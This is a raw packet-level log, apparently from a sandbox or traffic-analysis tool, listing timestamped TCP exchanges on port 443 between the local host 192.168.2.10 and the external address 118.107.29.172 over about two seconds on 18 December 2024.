Dec 18, 2024 13:21:07.576780081 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.576822042 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.583059072 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.583086014 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.583147049 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.583153963 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.583180904 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.583200932 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.717977047 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.718003035 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.718050957 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.718089104 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.718106985 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.718123913 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.736221075 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.736248970 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.736309052 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.736329079 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.736365080 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.736382008 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.742547035 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.742566109 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.742605925 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.742613077 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.742644072 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.742660046 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.748765945 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.748783112 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.748831987 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.748847961 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.748867989 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.748884916 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.755731106 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.755748987 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.755822897 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.755830050 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.755863905 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.761468887 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.761490107 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.761548996 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.761554003 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.761591911 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.768919945 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.768939972 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.768969059 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.769016027 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.769020081 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.769052982 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.776222944 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.776251078 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.776297092 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.776307106 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.776335001 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.776355982 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.909301996 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.909328938 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.909408092 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.909440041 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.909482002 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.930183887 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.930239916 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.930268049 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.930289984 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.930321932 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.930351019 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.937311888 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.937333107 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.937412977 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.937433958 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.937475920 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.945101976 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.945159912 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.945178986 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.945199013 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.945219040 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.945235968 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.951039076 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.951062918 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.951098919 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.951114893 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.951133966 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.951152086 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.956331968 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.956353903 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.956391096 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.956404924 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.956418991 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.956439972 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.961338997 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.961361885 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.961400032 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.961414099 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.961437941 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.961457014 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.967183113 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.967206955 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.967240095 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.967256069 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.967276096 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.967293024 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.105079889 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.105108976 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.105261087 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.105262041 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.105293989 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.105341911 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.121274948 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.121299982 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.121445894 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.121473074 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.121572018 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.129817963 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.129836082 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.129882097 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.129889965 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.129910946 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.129971027 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.135401011 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.135417938 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.135463953 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.135472059 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.135502100 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.135514975 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.142410994 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.142426014 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.142517090 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.142524958 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.142751932 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.149357080 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.149374962 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.149450064 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.149457932 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.149493933 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.155648947 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.155666113 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.155715942 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.155723095 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.155750990 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.155762911 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.161640882 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.161657095 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.161722898 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.161729097 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.161751032 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.161806107 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.295063972 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.295097113 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.295156002 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.295186043 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.295200109 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.297883987 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.316072941 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.316109896 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.316160917 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.316169024 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.316181898 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.316205025 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.323201895 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.323234081 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.323286057 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.323292017 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.323322058 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.323340893 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.329865932 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.329891920 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.329942942 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.329958916 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.329984903 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.330003023 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.335853100 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.335881948 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.335927010 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.335939884 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.335963964 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.335979939 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.342452049 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.342484951 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.342592955 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.342606068 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.342910051 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.351676941 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.351701021 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.351783037 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.351810932 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.351845980 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.351942062 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.358253002 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.358278990 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.358318090 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.358325958 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.358351946 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.358361959 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.486753941 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.486774921 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.486907005 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.486934900 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.486974001 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.505739927 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.505757093 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.505834103 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.505840063 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.506033897 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.512622118 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.512639046 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.512708902 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.512723923 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.513045073 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.518585920 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.518600941 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.518671989 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.518693924 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.518923044 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.525513887 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.525542021 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.525603056 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.525629997 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.525646925 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.529112101 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.532747030 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.532763004 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.532845020 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.532866955 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.536644936 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.538650036 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.538665056 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.538732052 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.538743019 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.538925886 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.545403957 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.545422077 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.545486927 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.545495033 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.545761108 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.678783894 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.678819895 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.678870916 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.678904057 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.678919077 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.679153919 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.697987080 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.698008060 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.698050976 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.698061943 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.698096991 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.698112011 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.704828978 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.704850912 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.704905033 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.704916000 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.704927921 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.704979897 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.710829020 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.710844994 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.710895061 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.710906029 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.710916042 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.711178064 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.717674017 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.717694044 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.717755079 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.717766047 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.718297005 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.724437952 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.724456072 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.724555969 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.724566936 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.724656105 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.731131077 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.731148958 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.731280088 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.731293917 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.731333017 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.737709045 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.737744093 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.737771034 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.737780094 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.737814903 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.737834930 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.871380091 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.871443033 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.871486902 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.871506929 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.871532917 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.871547937 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.894186974 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.894233942 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.894277096 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.894296885 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.894330978 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.894336939 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.900969028 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.900990963 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.901132107 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.901144981 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.901189089 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.906802893 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.906826973 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.906873941 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.906884909 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.906913042 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.906930923 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.913647890 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.913677931 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.913806915 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.913826942 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.918553114 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.919971943 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.919998884 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.920079947 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.920089006 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.922530890 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.926853895 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.926875114 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.926939011 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.926954985 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.926975012 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.929516077 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.933547974 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.933573008 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.933639050 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.933656931 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:08.933670044 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:08.936580896 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.063513994 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.063539982 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.063596964 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.063623905 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.063638926 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.063659906 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.086106062 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.086128950 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.086304903 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.086321115 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.086363077 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.092607021 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.092639923 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.092681885 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.092690945 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.092742920 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.099622011 CET	443	49723	118.107.29.172	192.168.2.10
